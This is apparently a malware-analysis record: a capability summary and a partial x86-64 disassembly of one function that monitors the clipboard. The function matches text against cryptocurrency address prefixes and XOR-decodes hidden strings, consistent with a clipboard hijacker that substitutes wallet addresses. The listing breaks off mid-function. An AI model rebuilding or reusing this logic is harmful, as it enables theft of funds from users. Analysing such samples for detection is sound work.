Function at 0x140008b40
Capabilities:
Allocate thread local storage
Encode data using base64
Encode data using xor
Get thread local storage value
Read clipboard data
Set thread local storage value
Write clipboard data

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x198
movdqa xmmword [rsp + 0x180], xmm14
movdqa xmmword [rsp + 0x170], xmm13
movaps xmmword [rsp + 0x160], xmm12
movaps xmmword [rsp + 0x150], xmm11
movaps xmmword [rsp + 0x140], xmm10
movdqa xmmword [rsp + 0x130], xmm9
movaps xmmword [rsp + 0x120], xmm8
movaps xmmword [rsp + 0x110], xmm7
movaps xmmword [rsp + 0x100], xmm6
mov r13d, 1
xorps xmm6, xmm6
lea rdi, [rsp + 0x70]
movdqa xmm7, xmmword [0x14010b170]
movdqa xmm8, xmmword [0x14010b180]
pcmpeqd xmm9, xmm9
movdqa xmm10, xmmword [str.________________]
movdqa xmm11, xmmword [0x14010b150]
movdqa xmm12, xmmword [str.________________uespemosarenegylmodnarodsetybdet]
xor r14d, r14d
xor r15d, r15d
mov eax, 1
mov qword [rsp + 0x68], rax
xor eax, eax
mov qword [rsp + 0xc8], rax
jmp 0x140008c16
mov r13, rbx
mov r14, r12
mov rbp, r15
mov ecx, 0xfa
call sub.KERNEL32.dll_Sleep
mov r15, rbp
mov rbx, r13
mov r12, r14
nop dword [rax]
call fcn.140001450
test rax, rax
je 0x140008cb0
xor ecx, ecx
xor edx, edx
mov r8d, 2
mov r9d, 0x1f0003
call sub.KERNEL32.dll_CreateWaitableTimerExW
test rax, rax
je 0x140008d48
mov rsi, rax
mov qword [rsp + 0x70], 0xffffffffff676980
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov rcx, rax
mov rdx, rdi
xor r8d, r8d
xor r9d, r9d
call sub.KERNEL32.dll_SetWaitableTimer
test eax, eax
je 0x140008d40
mov rcx, rsi
mov edx, 0xffffffff
call sub.KERNEL32.dll_WaitForSingleObject
mov ebp, eax
mov rcx, rsi
call sub.KERNEL32.dll_CloseHandle
cmp ebp, 0xffffffff
jne 0x140008d52
jmp 0x140008d48
mov ecx, 0xd
call sub.USER32.dll_GetClipboardData
test rax, rax
je 0x140008dd0
mov rsi, rax
mov rcx, rax
call sub.KERNEL32.dll_GlobalLock
test rax, rax
je 0x140008dd0
mov rbp, rax
mov rcx, rsi
call sub.KERNEL32.dll_GlobalSize
mov r14, rax
shr r14, 1
movups xmmword [rsp + 0x30], xmm6
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov ecx, 0xfde9
xor edx, edx
mov r8, rbp
mov r9d, r14d
call sub.KERNEL32.dll_WideCharToMultiByte
test eax, eax
jne 0x140008dec
call sub.KERNEL32.dll_GetLastError
mov rcx, rsi
call fcn.140037170
call sub.USER32.dll_CloseClipboard
test eax, eax
jne 0x140008c2e
jmp 0x140008de2
mov rcx, rsi
call sub.KERNEL32.dll_CloseHandle
mov ecx, 0x3e8
call sub.KERNEL32.dll_Sleep
xor ecx, ecx
xor edx, edx
mov r8d, 2
mov r9d, 0x1f0003
call sub.KERNEL32.dll_CreateWaitableTimerExW
test rax, rax
je 0x140008c00
mov rsi, rax
mov qword [rsp + 0x70], 0xffffffffffd9da60
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov rcx, rax
mov rdx, rdi
xor r8d, r8d
xor r9d, r9d
call sub.KERNEL32.dll_SetWaitableTimer
test eax, eax
je 0x140008f70
mov rcx, rsi
mov edx, 0xffffffff
call sub.KERNEL32.dll_WaitForSingleObject
mov ebp, eax
mov rcx, rsi
call sub.KERNEL32.dll_CloseHandle
cmp ebp, 0xffffffff
jne 0x140008c20
jmp 0x140008c00
call sub.KERNEL32.dll_GetLastError
call sub.USER32.dll_CloseClipboard
test eax, eax
jne 0x140008c2e
call sub.KERNEL32.dll_GetLastError
jmp 0x140008c2e
mov r13d, eax
mov r9, rdi
movsxd rdi, eax
cmp rdi, 9
mov r8d, 8
cmovae r8, rdi
mov rdx, r8
not rdx
shr rdx, 0x3f
mov qword [rsp + 0x78], 0
lea rcx, [rsp + 0x40]
mov qword [rsp + 0xf8], r8
call fcn.1400370e0
cmp qword [rsp + 0x40], 0
jne 0x14000bdfe
mov rax, qword [rsp + 0x48]
movups xmmword [rsp + 0x30], xmm6
mov dword [rsp + 0x28], r13d
mov r13, rax
mov qword [rsp + 0x20], rax
mov ecx, 0xfde9
xor edx, edx
mov r8, rbp
mov r9d, r14d
call sub.KERNEL32.dll_WideCharToMultiByte
xor ebp, ebp
mov r14, qword [rsp + 0xf8]
nop word [rax + rax]
cmp byte [r13 + rbp], 0
je 0x140008e83
inc rbp
cmp rdi, rbp
jne 0x140008e70
mov rbp, rdi
mov rcx, rsi
call fcn.140037170
call sub.USER32.dll_CloseClipboard
test eax, eax
lea rdi, [rsp + 0x70]
je 0x140008f4f
test r12, r12
je 0x140008eb3
mov rcx, qword [0x14017a0c0]
xor edx, edx
mov r8, rbx
call sub.KERNEL32.dll_HeapFree
cmp rbp, r15
jne 0x140008f86
mov rcx, r13
mov rdx, qword [rsp + 0x68]
mov r8, r15
call sub.msvcrt.dll_memcmp
test eax, eax
jne 0x140008f86
xor ecx, ecx
xor edx, edx
mov r8d, 2
mov r9d, 0x1f0003
call sub.KERNEL32.dll_CreateWaitableTimerExW
test rax, rax
je 0x140008c06
mov rsi, rax
mov qword [rsp + 0x70], 0xffffffffffd9da60
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov rcx, rax
mov rdx, rdi
xor r8d, r8d
xor r9d, r9d
call sub.KERNEL32.dll_SetWaitableTimer
test eax, eax
je 0x140008f76
mov rcx, rsi
mov edx, 0xffffffff
call sub.KERNEL32.dll_WaitForSingleObject
mov ebp, eax
mov rcx, rsi
call sub.KERNEL32.dll_CloseHandle
mov rbx, r13
mov r12, r14
cmp ebp, 0xffffffff
jne 0x140008c20
jmp 0x140008c06
call sub.KERNEL32.dll_GetLastError
test r12, r12
jne 0x140008ea2
jmp 0x140008eb3
mov r13, rbx
mov r14, r12
mov rbp, r15
mov rcx, rsi
call sub.KERNEL32.dll_CloseHandle
jmp 0x140008c09
test rbp, rbp
je 0x140008fb5
js 0x14000bdfe
movzx eax, byte [0x14017a148]
xor ecx, ecx
mov rdx, rbp
call fcn.1400dbb10
test rax, rax
lea r15, [rsp + 0x40]
je 0x14000bdfe
mov r12, rax
jmp 0x140008fc0
mov r12d, 1
lea r15, [rsp + 0x40]
mov rcx, r12
mov rdx, r13
mov r8, rbp
call sub.msvcrt.dll_memcpy
cmp qword [rsp + 0xc8], 0
je 0x140008fec
mov rcx, qword [0x14017a0c0]
xor edx, edx
mov r8, qword [rsp + 0x68]
call sub.KERNEL32.dll_HeapFree
cmp rbp, 3
jb 0x14000ba9d
lea rax, [rbp - 0x22]
cmp rax, 0x3d
mov qword [rsp + 0xc8], r13
mov qword [rsp + 0xe8], r12
ja case.0x140009022.36
lea rcx, [0x14010b190]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
movzx eax, byte [r13]
or eax, 2
cmp eax, 0x33
jne case.0x140009022.36
lea rax, [0x140104904]
mov qword [rsp + 0x70], rax
mov rcx, qword [rsp + 0x70]
movabs rax, 0x9e6292261e5ecd32
mov qword [rsp + 0x70], rax
mov rdx, qword [rsp + 0x70]
call fcn.1400e89b0
movzx esi, word [rax]
movzx edi, byte [rax + 2]
movzx eax, byte [0x14017a148]
mov edx, 3
xor ecx, ecx
call fcn.1400dbb10
test rax, rax
je 0x14000bdfe
mov rbx, rax
shl edi, 0x10
or esi, edi
mov eax, esi
xor al, 0xb0
mov ecx, esi
shr ecx, 8
xor cl, 0xfb
movzx eax, al
movzx ecx, cl
shl ecx, 8
or ecx, eax
shr esi, 0x10
xor sil, 0xcc
jmp 0x14000acad
mov r8d, 0x14
mov rcx, rdi
lea rdx, [0x14010fca5]
call fcn.14004b740
cmp qword [rsp + 0x70], 0
je 0x14000bdfe
movdqu xmm0, xmmword [rsp + 0x70]
movdqu xmm1, xmmword [rsp + 0x80]
movdqa xmmword [rsp + 0x50], xmm1
movdqa xmmword [rsp + 0x40], xmm0
mov rsi, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x48]
mov r9d, 0x3a
mov rcx, rsi
mov r8, r13
call fcn.140001a70
mov ebx, eax
lock dec qword [rsi]
jne 0x140009114
mov rcx, r15
call fcn.1400ef740
mov rsi, qword [rsp + 0x48]
mov r14, qword [rsi + 0x18]
mov rdi, qword [rsi + 0x20]
mov rcx, r14
call qword [rdi]
cmp qword [rdi + 8], 0
je 0x140009149
cmp qword [rdi + 0x10], 0x11
jb 0x140009138
mov r14, qword [r14 - 8]
mov rcx, qword [0x14017a0c0]
xor edx, edx
mov r8, r14
call sub.KERNEL32.dll_HeapFree
mov rcx, qword [rsi + 8]
mov rdx, qword [rsi + 0x10]
call fcn.1400ecf90
cmp qword [rsi], 0
je 0x140009172
mov rax, qword [rsi + 8]
mov r8, qword [rax - 8]
mov rcx, qword [0x14017a0c0]
xor edx, edx
call sub.KERNEL32.dll_HeapFree
cmp dword [rsi + 0x30], 3
lea rdi, [rsp + 0x70]
je 0x140009186
lea rcx, [rsi + 0x30]
call fcn.140001710
mov rcx, qword [0x14017a0c0]
xor edx, edx
mov r8, rsi
call sub.KERNEL32.dll_HeapFree
mov rax, qword [rsp + 0x50]
lock dec qword [rax]
jne 0x1400091b1
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x58]
call fcn.14004d570
test bl, bl
je case.0x140009022.36
lea rax, [0x140103475]
mov qword [rsp + 0x70], rax
mov rcx, qword [rsp + 0x70]
movabs rax, 0x1d9593a63eada559
mov qword [rsp + 0x70], rax
mov rdx, qword [rsp + 0x70]
call fcn.1400e9000
mov esi, dword [rax]
movzx eax, byte [0x14017a148]
mov edx, 4
xor ecx, ecx
call fcn.1400dbb10
test rax, rax
je 0x14000bdfe
mov rbx, rax
xor esi, 0x41d28352
mov dword [rax], esi
mov r14d, 4
jmp 0x14000ae03
movzx eax, word [r13]
cmp eax, 0x3174
jne case.0x140009022.36
lea rax, [0x1401048b2]
mov qword [rsp + 0x70], rax
mov rcx, qword [rsp + 0x70]
movabs rax, 0x3e473bddb4adf890
mov qword [rsp + 0x70], rax
mov rdx, qword [rsp + 0x70]
call fcn.1400e88d0
movzx esi, word [rax]
movzx edi, byte [rax + 2]
movzx eax, byte [0x14017a148]
mov edx, 3
xor ecx, ecx
call fcn.1400dbb10
test rax, rax
je 0x14000bdfe
mov rbx, rax
shl edi, 0x10
or esi, edi
mov eax, esi
xor al, 0x35
mov ecx, esi
shr ecx, 8
xor cl, 0xb6
movzx eax, al
movzx ecx, cl
shl ecx, 8
or ecx, eax
shr esi, 0x10
xor sil, 0x54
jmp 0x14000acad
cmp byte [r13], 0x34
jne case.0x140009022.36
lea rax, [0x140105938]
mov qword [rsp + 0x70], rax
mov rcx, qword [rsp + 0x70]
movabs rax, 0x15ee8c39bea37375
mov qword [rsp + 0x70], rax
mov rdx, qword [rsp + 0x70]
call fcn.1400e9070
movzx esi, word [rax]
movzx edi, byte [rax + 2]
movzx eax, byte [0x14017a148]
mov edx, 3
xor ecx, ecx
call fcn.1400dbb10
test rax, rax
je 0x14000bdfe
mov rbx, rax
shl edi, 0x10
or esi, edi
mov eax, esi
xor al, 0x49
mov ecx, esi
shr ecx, 8
xor cl, 0xad
movzx eax, al
movzx ecx, cl
shl ecx, 8
or ecx, eax
shr esi, 0x10
xor sil, 0xdf
jmp 0x14000acad
cmp dword [r13], 0x31626e62
je 0x140009685
cmp dword [r13], 0x66337830
je 0x1400096fd
movzx eax, word [r13]
cmp eax, 0x7830
je 0x14000bcd3
movzx eax, word [r13]
xor eax, 0x6362
movzx ecx, byte [r13 + 2]
xor ecx, 0x31
or cx, ax
jne case.0x140009022.36
jmp 0x140009035
lea rcx, [r13 + 7]
and rcx, 0xfffffffffffffff8
mov rax, rcx
sub rax, r13
jne 0x1400095c2
xor r8d, r8d
jmp 0x1400095e7
cmp byte [r13], 0x47
jne case.0x140009022.36
mov r8d, 0x14
mov rcx, rdi
lea rdx, [0x14010fca5]
call fcn.14004b740
cmp qword [rsp + 0x70], 0
je 0x14000bdfe
movdqu xmm0, xmmword [rsp + 0x70]
movdqu xmm1, xmmword [rsp + 0x80]
movdqa xmmword [rsp + 0x50], xmm1
movdqa xmmword [rsp + 0x40], xmm0
movzx eax, byte [0x14017a148]
mov edx, 0x38
xor ecx, ecx
call fcn.1400dbb10
test rax, rax
je 0x14000bdfe
mov rcx, qword [r13 + 0x30]
mov qword [rax + 0x30], rcx
movdqu xmm0, xmmword [r13]
movdqu xmm1, xmmword [r13 + 0x10]
movdqu xmm2, xmmword [r13 + 0x20]
movdqu xmmword [rax + 0x20], xmm2
movdqu xmmword [rax + 0x10], xmm1
movdqu xmmword [rax], xmm0
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x80], 0x38
mov qword [rsp + 0x78], 1
mov edx, 1
mov r8d, 0x70
lea rcx, [rsp + 0xa0]
mov r9, rdi
call fcn.1400d3230
cmp qword [rsp + 0xa0], 0
jne 0x14000bdfe
mov rsi, qword [rsp + 0xa8]
mov word [rsi + 0x38], 0x4141
mov rcx, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x48]
mov r9d, 0x3a
mov r8, rsi
call fcn.140001a70
mov ebx, eax
mov rcx, qword [0x14017a0c0]
xor edx, edx
mov r8, rsi
call sub.KERNEL32.dll_HeapFree
mov rax, qword [rsp + 0x40]
lock dec qword [rax]
jne 0x1400094a5
mov rcx, r15
call fcn.1400ef740
mov rsi, qword [rsp + 0x48]
mov r14, qword [rsi + 0x18]
mov rdi, qword [rsi + 0x20]
mov rcx, r14
call qword [rdi]
cmp qword [rdi + 8], 0
je 0x1400094da
cmp qword [rdi + 0x10], 0x11
jb 0x1400094c9
mov r14, qword [r14 - 8]
mov rcx, qword [0x14017a0c0]
xor edx, edx
mov r8, r14
call sub.KERNEL32.dll_HeapFree
mov rcx, qword [rsi + 8]
mov rdx, qword [rsi + 0x10]
call fcn.1400ecf90
cmp qword [rsi], 0
je 0x140009503
mov rax, qword [rsi + 8]
mov r8, qword [rax - 8]
mov rcx, qword [0x14017a0c0]
xor edx, edx
call sub.KERNEL32.dll_HeapFree
cmp dword [rsi + 0x30], 3
lea rdi, [rsp + 0x70]
je 0x140009517
lea rcx, [rsi + 0x30]
call fcn.140001710
mov rcx, qword [0x14017a0c0]
xor edx, edx
mov r8, rsi
call sub.KERNEL32.dll_HeapFree
mov rax, qword [rsp + 0x50]
lock dec qword [rax]
jne 0x140009542
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x58]
call fcn.14004d570
test bl, bl
je case.0x140009022.36
lea rax, [0x140105399]
mov qword [rsp + 0x70], rax
mov rcx, qword [rsp + 0x70]
movabs rax, 0x2bdd15a4748d3d67
mov qword [rsp + 0x70], rax
mov rdx, qword [rsp + 0x70]
call fcn.1400e88a0
movzx esi, word [rax]
movzx edi, byte [rax + 2]
movzx eax, byte [0x14017a148]
mov edx, 3
xor ecx, ecx
call fcn.1400dbb10
test rax, rax
je 0x14000bdfe
mov rbx, rax
shl edi, 0x10
or esi, edi
mov eax, esi
xor al, 0x94
mov ecx, esi
shr ecx, 8
xor cl, 0x58
movzx eax, al
movzx ecx, cl
shl ecx, 8
or ecx, eax
shr esi, 0x10
xor sil, 0x8c
jmp 0x14000acad
xor edx, edx
nop word cs:[rax + rax]
cmp byte [r13 + rdx], 0x2d
je 0x14000ac3a
inc rdx
cmp rax, rdx
jne 0x1400095d0
mov r8, rax
movdqu xmm0, xmmword [r13 + r8]
movdqa xmm1, xmm0
pxor xmm1, xmm10
paddq xmm1, xmm11
pandn xmm0, xmm1
pshufd xmm1, xmm0, 0xee
por xmm1, xmm0
movq rdx, xmm1
movabs r9, 0x8080808080808080
test rdx, r9
jne 0x140009651
movdqu xmm0, xmmword [r13 + r8 + 0x10]
movdqa xmm1, xmm0
pxor xmm1, xmm10
paddq xmm1, xmm11
pandn xmm0, xmm1
pshufd xmm1, xmm0, 0xee
por xmm1, xmm0
movq rdx, xmm1
test rdx, r9
je 0x14000bd6a
or r8, 0x10
mov rdx, r8
nop word cs:[rax + rax]
cmp byte [r13 + rdx], 0x2d
je 0x14000ac3a
inc rdx
cmp rdx, 0x30
jne 0x140009660
cmp rcx, r13
jne 0x14000976a
xor eax, eax
jmp 0x140009784
lea rax, [0x14010c941]
mov qword [rsp + 0x70], rax
mov rcx, qword [rsp + 0x70]
movabs rax, 0x913e4908838b857d
mov qword [rsp + 0x70], rax
mov rdx, qword [rsp + 0x70]
call fcn.1400e8c30
movzx esi, word [rax]
movzx edi, byte [rax + 2]
movzx eax, byte [0x14017a148]
mov edx, 3
xor ecx, ecx
call fcn.1400dbb10
test rax, rax
je 0x14000bdfe
mov rbx, rax
shl edi, 0x10
or esi, edi
mov eax, esi
xor al, 0x17
mov ecx, esi
shr ecx, 8
xor cl, 0x10
movzx eax, al
movzx ecx, cl
shl ecx, 8
or ecx, eax
shr esi, 0x10
xor sil, 0x71
jmp 0x14000acad
lea rax, [0x140103ce6]
mov qword [rsp + 0x70], rax
mov rcx, qword [rsp + 0x70]
movabs rax, 0x9059712b5bf99c13
mov qword [rsp + 0x70], rax
mov rdx, qword [rsp + 0x70]
call fcn.1400e8e70
movzx esi, word [rax]
movzx edi, byte [rax + 2]
movzx eax, byte [0x14017a148]
mov edx, 3
xor ecx, ecx
call fcn.1400dbb10
test rax, rax
je 0x14000bdfe
mov rbx, rax
shl edi, 0x10
or esi, edi
mov eax, esi
shr eax, 0x10
xor al, 0xb5
mov ecx, esi
xor cl, 0x82
shr esi, 8
xor sil, 3
jmp 0x14000bd3b
xor ecx, ecx
nop dword [rax]
cmp byte [r13 + rcx], 0x5f
je 0x14000ac3a
inc rcx
cmp rax, rcx
jne 0x140009770
movdqu xmm0, xmmword [r13 + rax]
movdqa xmm1, xmm0
pxor xmm1, xmm12
paddq xmm1, xmm11
pandn xmm0, xmm1
pshufd xmm1, xmm0, 0xee
por xmm1, xmm0
movq rcx, xmm1
movabs rdx, 0x8080808080808080
test rcx, rdx
jne 0x1400097ee
movdqu xmm0, xmmword [r13 + rax + 0x10]
movdqa xmm1, xmm0
pxor xmm1, xmm12
paddq xmm1, xmm11
pandn xmm0, xmm1
pshufd xmm1, xmm0, 0xee
por xmm1, xmm0
movq rcx, xmm1
test rcx, rdx
je 0x14000bdaf
or rax, 0x10
mov rcx, rax
nop word cs:[rax + rax]
cmp byte [r13 + rcx], 0x5f
je 0x14000ac3a
inc rcx
cmp rcx, 0x30
jne 0x140009800
mov ecx, dword [0x14010a0a0]
test ecx, ecx
je 0x140009873
dec ecx
call sub.KERNEL32.dll_TlsGetValue
cmp rax, 2
jb 0x140009843
cmp qword [rax + 8], 0
je 0x140009843
mov rbx, rax
add rbx, 0x10
mov rax, qword [rax + 0x10]
jmp 0x140009981
mov ecx, dword [0x14010a0a0]
test ecx, ecx
je 0x14000aba0
dec ecx
call sub.KERNEL32.dll_TlsGetValue
test rax, rax
je 0x14000990a
mov rbx, rax
cmp rax, 1
jne 0x140009953
jmp 0x14000bdfe
cmp qword [0x14010a088], 0
je 0x14000bb52
mov rax, qword [0x14017d038]
mov dword [rsp + 0x40], 0
lea rcx, [0x14010a098]
xor edx, edx
mov r8, r15
xor r9d, r9d
call sub.KERNEL32.dll_InitOnceBeginInitialize
cmp eax, 1
jne 0x14000bdfe
cmp dword [rsp + 0x40], 0
je 0x14000bc5e
call sub.KERNEL32.dll_TlsAlloc
cmp eax, 0xffffffff
je 0x14000be00
mov esi, eax
inc eax
mov dword [0x14010a0a0], eax
mov rax, qword [0x14017a0a0]
lea rcx, [0x14010a088]
nop
mov qword [0x14010a090], rax
lock cmpxchg qword [0x14017a0a0], rcx
jne 0x1400098e0
lea rcx, [0x14010a098]
xor edx, edx
xor r8d, r8d
call sub.KERNEL32.dll_InitOnceComplete
mov ecx, esi
jmp 0x140009821
movzx eax, byte [0x14017a148]
mov edx, 0x20
xor ecx, ecx
call fcn.1400dbb10
test rax, rax
je 0x14000bdfe
mov rbx, rax
lea rax, [0x14010a088]
mov qword [rbx], rax
mov qword [rbx + 8], 0
mov ecx, dword [0x14010a0a0]
test ecx, ecx
je 0x14000bb86
dec ecx
mov rdx, rbx
call fcn.140107c40
movaps xmmword [rsp + 0x40], xmm6
mov edx, 0x10
mov rcx, r15
call sub.bcryptprimitives.dll_ProcessPrng
mov rax, qword [rsp + 0x40]
movdqa xmm0, xmmword [rsp + 0x40]
mov qword [rbx + 8], 1
movdqu xmmword [rbx + 0x10], xmm0
add rbx, 0x10
mov rcx, qword [rbx + 8]
lea rdx, [rax + 1]
mov qword [rbx], rdx
movups xmm0, xmmword [0x14016f2e0]
movaps xmmword [rsp + 0x80], xmm0
movdqu xmm0, xmmword [0x14016f2d0]
movdqa xmmword [rsp + 0x70], xmm0
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x98], rcx
lea rax, [0x140106956]
mov qword [rsp + 0x40], rax
mov rcx, qword [rsp + 0x40]
movabs rax, 0xc543aad90e13def2
mov qword [rsp + 0x40], rax
mov rdx, qword [rsp + 0x40]
call fcn.1400e8980
mov esi, dword [rax]
movzx eax, byte [0x14017a148]
mov edx, 4
xor ecx, ecx
call fcn.1400dbb10
test rax, rax
je 0x14000bdfe
xor esi, 0x79dea417
mov dword [rax], esi
mov qword [rsp + 0xa0], 4
mov qword [rsp + 0xa8], rax
mov qword [rsp + 0xb0], 4
lea rax, [0x140105d88]
mov qword [rsp + 0x40], rax
mov rcx, qword [rsp + 0x40]
movabs rax, 0xd899667a69188e1c
mov qword [rsp + 0x40], rax
mov rdx, qword [rsp + 0x40]
call fcn.1400e90d0
mov rsi, qword [rax]
mov r13, qword [rax + 8]
mov r12, qword [rax + 0x10]
mov r15, qword [rax + 0x18]
mov r14, qword [rax + 0x20]
mov rcx, qword [rax + 0x28]
mov qword [rsp + 0xc0], rcx
mov rcx, qword [rax + 0x30]
mov qword [rsp + 0x68], rcx
movzx edi, word [rax + 0x38]
movzx ebx, byte [rax + 0x3a]
movzx eax, byte [0x14017a148]
mov edx, 0x3b
xor ecx, ecx
call fcn.1400dbb10
test rax, rax
je 0x14000bdfe
shl ebx, 0x10
or edi, ebx
mov ecx, edi
mov edx, edi
xor dl, 0x54
shr edi, 8
xor dil, 0xdf
movzx r8d, dl
movzx edx, dil
shl edx, 8
or edx, r8d
movabs r8, 0xd27d0c4ad13f72be
xor rsi, r8
mov qword [rax], rsi
movabs r8, 0xf491cff60d7ac3b0
xor r13, r8
mov qword [rax + 8], r13
movabs r8, 0x3d60d3f660824161
xor r12, r8
mov qword [rax + 0x10], r12
movabs r8, 0xa39095a3c4de0f59
xor r15, r8
mov qword [rax + 0x18], r15
movabs r8, 0x2ebd5e7895b10b11
xor r14, r8
mov qword [rax + 0x20], r14
movabs r8, 0x6e188fd72b3184e1
mov r9, qword [rsp + 0xc0]
xor r9, r8
mov qword [rax + 0x28], r9
movabs r8, 0xafaedffc83a854e6
mov r9, qword [rsp + 0x68]
xor r9, r8
mov qword [rax + 0x30], r9
mov word [rax + 0x38], dx
shr ecx, 0x10
xor cl, 0x7d
mov byte [rax + 0x3a], cl
mov qword [rsp + 0x40], 0x3b
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 0x3b
lea rcx, [rsp + 0xd0]
lea rdx, [rsp + 0x70]
lea r8, [rsp + 0xa0]
lea rbx, [rsp + 0x40]
mov r9, rbx
call fcn.1400edf30
mov rax, qword [rsp + 0xd0]
movabs rcx, 0x8000000000000000
cmp rax, rcx
je 0x140009bbb
test rax, rax
je 0x140009bbb
mov r8, qword [rsp + 0xd8]
mov rcx, qword [0x14017a0c0]
xor edx, edx
call sub.KERNEL32.dll_HeapFree
lea rax, [0x14010d57b]
mov qword [rsp + 0x40], rax
mov rcx, qword [rsp + 0x40]
movabs rax, 0x363083ee9b3db7f4
mov qword [rsp + 0x40], rax
mov rdx, qword [rsp + 0x40]
call fcn.1400e8f60
movzx esi, word [rax]
movzx edi, byte [rax + 2]
movzx eax, byte [0x14017a148]
mov edx, 3
xor ecx, ecx
call fcn.1400dbb10
test rax, rax
je 0x14000bdfe
shl edi, 0x10
or esi, edi
mov ecx, esi
xor cl, 0x9e
mov edx, esi
shr edx, 8
xor dl, 0x9c
movzx ecx, cl
movzx edx, dl
shl edx, 8
or edx, ecx
shr esi, 0x10
xor sil, 0xa
mov byte [rax + 2], sil
mov word [rax], dx
mov qword [rsp + 0xa0], 3
mov qword [rsp + 0xa8], rax
mov qword [rsp + 0xb0], 3
lea rax, [0x140101996]
mov qword [rsp + 0x40], rax
mov rcx, qword [rsp + 0x40]
movabs rax, 0x4c93d8f3f2f1cbd0
mov qword [rsp + 0x40], rax
mov rdx, qword [rsp + 0x40]
call fcn.1400e91b0
mov rsi, qword [rax]
mov r13, qword [rax + 8]
mov r12, qword [rax + 0x10]
mov r15, qword [rax + 0x18]
mov r14, qword [rax + 0x20]
mov rcx, qword [rax + 0x28]
mov qword [rsp + 0xc0], rcx
mov ecx, dword [rax + 0x30]
mov dword [rsp + 0x68], ecx
movzx edi, word [rax + 0x34]
movzx ebx, byte [rax + 0x36]
movzx eax, byte [0x14017a148]
mov edx, 0x37
xor ecx, ecx
call fcn.1400dbb10
test rax, rax
je 0x14000bdfe
shl ebx, 0x10
or edi, ebx
mov ecx, edi
mov edx, edi
xor dl, 0x97
shr edi, 8
xor dil, 0x3e
movzx r8d, dl
movzx edx, dil
shl edx, 8
or edx, r8d
movabs r8, 0x472f44b43b652d53
xor rsi, r8
mov qword [rax], rsi
movabs r8, 0xcf9b54ab588bfe68
xor r13, r8
mov qword [rax + 8], r13
movabs r8, 0x4656751704c2a3ac
xor r12, r8
mov qword [rax + 0x10], r12
movabs r8, 0x77187ef6966efccd
xor r15, r8
mov qword [rax + 0x18], r15
movabs r8, 0xf8158a9d6016d035
xor r14, r8
mov qword [rax + 0x20], r14
movabs r8, 0x8fb0f1e26187c9fe
mov r9, qword [rsp + 0xc0]
xor r9, r8
mov qword [rax + 0x28], r9
mov r8d, dword [rsp + 0x68]
xor r8d, 0xa013dda4
mov dword [rax + 0x30], r8d
mov word [rax + 0x34], dx
shr ecx, 0x10
xor cl, 0x41
mov byte [rax + 0x36], cl
mov qword [rsp + 0x40], 0x37
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 0x37
lea rcx, [rsp + 0xd0]
lea rdx, [rsp + 0x70]
lea r8, [rsp + 0xa0]
lea rbx, [rsp + 0x40]
mov r9, rbx
call fcn.1400edf30
mov rax, qword [rsp + 0xd0]
movabs rcx, 0x8000000000000000
cmp rax, rcx
je 0x140009ddd
test rax, rax
je 0x140009ddd
mov r8, qword [rsp + 0xd8]
mov rcx, qword [0x14017a0c0]
xor edx, edx
call sub.KERNEL32.dll_HeapFree
lea rax, [0x140106c60]
mov qword [rsp + 0x40], rax
mov rcx, qword [rsp + 0x40]
movabs rax, 0x8b222e2c2d44bdf1
mov qword [rsp + 0x40], rax
mov rdx, qword [rsp + 0x40]
call fcn.1400e8ce0
movzx esi, word [rax]
movzx edi, byte [rax + 2]
movzx eax, byte [0x14017a148]
mov edx, 3
xor ecx, ecx
call fcn.1400dbb10
test rax, rax
je 0x14000bdfe
shl edi, 0x10
or esi, edi
mov ecx, esi
xor cl, 0x30
mov edx, esi
shr edx, 8
xor dl, 0x6a
movzx ecx, cl
movzx edx, dl
shl edx, 8
or edx, ecx
shr esi, 0x10
xor sil, 0x72
mov byte [rax + 2], sil
mov word [rax], dx
mov qword [rsp + 0xa0], 3
mov qword [rsp + 0xa8], rax
mov qword [rsp + 0xb0], 3
lea rax, [0x140101e18]
mov qword [rsp + 0x40], rax
mov rcx, qword [rsp + 0x40]
movabs rax, 0x4080e6ec8dc467c
mov qword [rsp + 0x40], rax
mov rdx, qword [rsp + 0x40]
call fcn.1400e8e30
mov r12, qword [rax]
mov r15, qword [rax + 8]
mov r14, qword [rax + 0x10]
mov rbx, qword [rax + 0x18]
mov rdi, qword [rax + 0x20]
mov rsi, qword [rax + 0x28]
movzx r13d, byte [rax + 0x30]
movzx eax, byte [0x14017a148]
mov edx, 0x31
xor ecx, ecx
call fcn.1400dbb10
test rax, rax
je 0x14000bdfe
movabs rcx, 0x33016f632de1e78b
xor rsi, rcx
movabs rcx, 0x58d89f7074b06df7
xor rdi, rcx
movabs rcx, 0x872b1d57292e9644
xor rbx, rcx
movabs rcx, 0x6503a627701c2481
xor r14, rcx
movabs rcx, 0x6cfbbd0c821c4913
xor r15, rcx
movabs rcx, 0x25d636f75e9e1af7
xor r12, rcx
xor r13b, 0xb5
mov qword [rax], r12
mov qword [rax + 8], r15
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], rbx
mov qword [rax + 0x20], rdi
mov qword [rax + 0x28], rsi
mov byte [rax + 0x30], r13b
mov qword [rsp + 0x40], 0x31
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 0x31
lea rcx, [rsp + 0xd0]
lea rdx, [rsp + 0x70]
lea r8, [rsp + 0xa0]
lea rdi, [rsp + 0x40]
mov r9, rdi
call fcn.1400edf30
mov rax, qword [rsp + 0xd0]
movabs rcx, 0x8000000000000000
cmp rax, rcx
je 0x140009faf
test rax, rax
je 0x140009faf
mov r8, qword [rsp + 0xd8]
mov rcx, qword [0x14017a0c0]
xor edx, edx
call sub.KERNEL32.dll_HeapFree
lea rax, [0x140100b2d]
mov qword [rsp + 0x40], rax
mov rcx, qword [rsp + 0x40]
movabs rax, 0xfc6e9fccb5c2b1c3
mov qword [rsp + 0x40], rax
